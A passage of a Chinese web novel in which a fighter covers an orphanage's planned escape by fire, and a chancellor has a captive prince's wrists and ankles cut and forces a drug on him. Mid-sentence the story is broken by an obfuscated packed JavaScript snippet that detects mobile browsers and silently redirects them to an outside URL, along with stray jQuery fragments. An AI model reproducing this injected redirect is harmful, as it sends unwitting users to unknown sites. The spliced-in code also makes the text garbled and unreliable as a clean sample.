韩知招式一变,换成他开始拖着文简,不让他后退。毕竟这些弓箭兵大概率不是精英,没有办法在这么快速的战斗中精准的射中他,而不误伤文简。
而文简也在韩知变化招式的一瞬间就明白了他的意图,冷哼了一声,想退回门外。
“这位大哥,这可不是你想退就能退的。”韩知大笑一声,紧跟着文简的脚步,和他缠斗在一起。
文简边战边退,不过瞬息,两人的战场已经到了养济院外面的街道上。其他围着的人也只能慢慢地后退,给这两个人足够大的空间,却也严阵以待。
就这样,韩知和文简谁也奈何不了对方,一直僵持不下。
但显然他们提前准备好的燃料确实效果非凡,整个养济院在他们对峙期间已经烧得火光冲天,整个京城的人都能够看见天边被火光染得通红的云。
离得近的百姓也已经自发地赶过来,准备提水救火了。
文简看着眼前的韩知,磨了磨牙,才咬牙切齿地高声对着围住他们的文家侍卫喊道,“别管这里,先把火灭了。”
那些侍卫你看我,我看你地遵从了文简的吩咐,找工具救火去了。
韩知看了一眼身后烧得差不多的养济院,挑衅地对着文简一笑,“那我就不奉陪了,再也不见。”
说完,韩知急退几步,不再和文简纠缠,转身就往城外远走。
文简见状也跟了上去。
韩知耳朵一动,就知道文简也跟了上来。不过,韩知歪嘴一笑,跟他比对这附近的熟悉程度,他还差得远呢。
果然,不过几个纵身,韩知就在文简的眼皮子底下不见了。
文简在韩知消失的地方转了几圈,还是没发现什么蛛丝马迹,只好转身回了养济院。
不过他也知道养济院能够发现新的线索也几乎不太可能,韩知留下来拖住他们灭火肯定就是觉得这场大火能够解决一切。
在文简离开后,韩知这才真正离开,向着南方而去。
这是在最开始就已经定好的计划。
萧弈玄之前就嘱咐过他,如果文相真的查到了养济院和他的联系,对养济院发难的话,经可能地不要起冲突,找到机会逃走就可以。
杨典和朱柔他们这些会武功的人负责保护撤离的养济院的大家,而韩知则负责殿后。
成功脱离危险之后就去南方去找沈晏清,告诉她京城的现状,让沈晏清有所准备。回京时,直接带着沈家军一起回来。
而如果没有被文相他们发现,只要养济院的大家察觉到京城的变化,同样通过密道直接撤离,派人去江南给沈晏清报信。
毕竟云季还需要留在京城保护萧弈玄,没有办法离开,他们则没有这个顾虑。
脱身之后直接大火一烧,消除密道被发现的可能性,等到风波之后,再重新修一个更大的养济院就是了。
还好当初处于各种的考虑,养济院建立在非常偏僻的地方,也没有和其他的房屋相连,倒也无妨。
丞相府
文简在简单善后之后,就连忙回去向文述禀报了养济院发生的事儿。
文述缓缓地靠近跪着的文简,再一次确认到,“你是说那么多的养济院的人,都跑了,一个都没留下?”
文简闻言,把头低的更低了,回道,“是,养济院也被一把大火烧没了,我在回来之前已经安排人好好检查养济院的废墟了。”
文述将右手轻轻搭在文简的肩膀上,没有再多问什么,“下去领罚。”
文简在事情发生的时候就已经知道自己这一趟逃不过皮肉之苦,只沉默地退下。
文述这才望向文家别院的方向,该去看看那个平王殿下了。
即使是在这样的情况下,萧弈玄还有能力让他棋差一招,那就该用点非常手段。
文家别院
正是凌晨时分,萧弈玄十分自觉地上床睡觉,他现在最应该做的就是养精蓄锐,不要在关键时刻掉链子。
所以当文述和文礼书找上门来的时候,萧弈玄正在睡觉。但因为心里挂念着外面的事情睡得并不安稳,门外一有动静,就醒过来了。
而文述让人打开门的时候,一眼就看到了萧弈玄正好好地躺在床上睡觉,被开门的动静惊醒的样子,整个人的火气也开始在心中翻腾。
文述带着人站满了整个屋子,定定地看着坐在床上的萧弈玄,良久,才开口说道,“平王殿下还有心思睡觉?”
萧弈玄没有因为很多人看着而觉得尴尬,不紧不慢地从床上下来,慢条斯理地回了一句,“确实是,只是看来文相今晚是没有办法好好睡了。”
文述听到这句话倒是沉得住气,没有在面上表现出什么,但显然,文礼书没有这个定力。
新仇旧恨加在一起,实在是没有办法心平气和地对待萧弈玄这个从小就和他不对付的人。
文礼书疾走几步,上前揪住了萧弈玄的衣裳,一脸怒气,“你这家伙!”
萧弈玄没有动作,只偏头看向不远处的文述。
文述微微笑了一下,“平王殿下仗着自己还有些用处,也太过有恃无恐了些。”
萧弈玄也是知道了自己这样的挑衅得不到好果子吃,那也就没必要示弱,“自从来到这里,我可什么都没做。”
文述上前几步,将文礼书的手轻轻压下,“看来仅仅只是白天的药丸,并不能让平王殿下安分些。”
萧弈玄双手一摊,“我真的没做什么。”
文礼书不甘心地推了一下萧弈玄,萧弈玄顿时没站稳,往后退了几步,直直地撞上了衣柜门才停下,只是背刚好撞到了柜门把手,把萧弈玄痛得不行。
文述淡淡地看着眼前疼得冷汗直流的萧弈玄,“不管你今天到底做没做额外的事,你之后应该没机会了。”
萧弈玄刚想说什么,就被文礼书接下来的动作打断了,他没有让其他人代他动手,而是自己从怀里拿出一把匕首,也没干什么,只将它贴着萧弈玄的左右手腕都划了一刀。
萧弈玄先是看到了鲜血喷涌,才后知后觉地感受到手腕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17796917|204234||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的疼痛,这种锋利的疼痛对他来说反而是比较陌生的感受。
他额头瞬间布满冷汗,“这有点粗暴了吧。”
文礼书将染血的匕首扔给了不远处的下人,“待会儿伺候平王殿下上床,然后就不必下床了。”
那下人心领神会地借助文礼书的匕首,低声应是。
门外,一人端着一碗汤药站在门边,文述看着面色发白的萧弈玄,“平王殿下,你那位皇兄喝的药想必你也是想要尝一尝的。”
其他人见状,非常自觉地上前按住了萧弈玄的肩膀,那个端药来的下人也直接对着萧弈玄的嘴灌了下去。
萧弈玄对于这种简单粗暴的法子确实没有办法,毕竟就算有万般法子,他本人就是最大的弱点。他是真的没有半点武力。
没过一会儿,萧弈玄的头就低了下去,再也没有刚才的活力。
文述拍了拍手,那些人就将萧弈玄搬到了床上,而刚才接过文礼书的匕首的下人也遵从文礼书的嘱咐,将萧逸玄的脚腕也各自划上两刀,不让萧弈玄有自由活动的可能性。
文述见事情解决得差不多了,对着看守萧弈玄的人说道,“简单给他处理一下,不要让他死了。但也不要让他醒过来。之后如果有需要的话,我会吩咐你们。”
周围的文家侍卫表情一整,齐声应是。
文述冷哼了一下,拂袖转身离开了别院。不管你萧弈玄再算无遗策又如何,你本人还不是任我宰割,你是逃不出我的手掌心的。
云季在早上离开以后,先是去确认了京城各处的情况,并没有出现特殊的情况,这才利用之前就弄好的相引,找到了萧弈玄所在的地方。
他悄无声息地落在了房檐上,这周围四处都是守卫,云季仔细一看,自家王爷心大地在那里看院子的风景。
云季无奈地摇了摇头,这可怎么办,只是短暂停留倒是没有什么问题,但如果想要贴身保护王爷的话,有一定的难度。
院子里倒是有一颗大树,但也是真的像诱饵一样,一般人可能发现不了,他可是刚停下,就已经听到了那棵树上若有若无的呼吸声,但凡是个学艺不精的,简直就是自投罗网。
而别院里另外可以藏身的地方也是暗藏玄机,根本么没有机会。如果不考虑吃饭问题的话,他倒是可以直接窜进关住王爷的屋子,但这明显也不现实。
纠结了半响,云季还是选择藏在了屋子外面的房檐下,这里就能够就近看到王爷的现状,也能够及时反应外面守卫人的侦察,算是退而求其次的优选。
解决了最大的问题以后,云季只需要像之前一样隐于暗处就行,那就是轻车熟路的事儿。
但是云季万万没想到,今天早上的危机竟然仅仅只是开端。
当城南的火光漫天时,云季心中其实只觉得佩服,王爷果然是神机妙算,深谋远虑。
结果没想到仅仅过了不久,文相就带人过来了,还对着王爷动手。
可他只能在原地看着,他不能为了这一时之气,坏了王爷的大局。